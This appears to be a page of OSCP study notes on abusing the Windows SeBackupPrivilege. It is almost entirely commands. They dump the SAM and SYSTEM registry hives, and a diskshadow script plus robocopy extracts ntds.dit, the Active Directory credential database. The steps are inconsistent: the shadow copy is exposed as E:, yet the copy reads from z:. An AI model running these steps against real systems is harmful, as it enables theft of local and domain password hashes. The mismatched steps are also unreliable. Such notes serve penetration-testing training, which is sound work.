Whoami Priv Sebackupprivilege

Notes from oscp.adot8.com — windows privilege escalation.

#windows privilege escalation#adot8

source · oscp.adot8.com · windows-privilege-escalation/whoami-priv_sebackupprivilege ↗

SeBackupPrivilege

code

01Privilege Name                Description                         State
02============================= =================================== =======
03SeBackupPrivilege             Back up files and directories       Enabled

code

01reg save hklm\sam C:\programdata\sam.bak

code

01reg save hklm\system C:\programdata\system.bak

Option 2

Create pwned.dsh file

code

01set verbose on
02set metadata C:\Windows\Temp\meta.cab
03set context clientaccessible
04set context persistent
05begin backup
06add volume C: alias cdrive
07create
08expose %cdrive% E:
09end backup

Convert encoding and formatting

code

01unix2dos pwned.dsh

Upload to machine

code

01diskshadow /s pwned.dsh
02robocopy /b z:\windows\ntds . ntds.dit

code

01reg save hklm\system C:\programdata\system.bak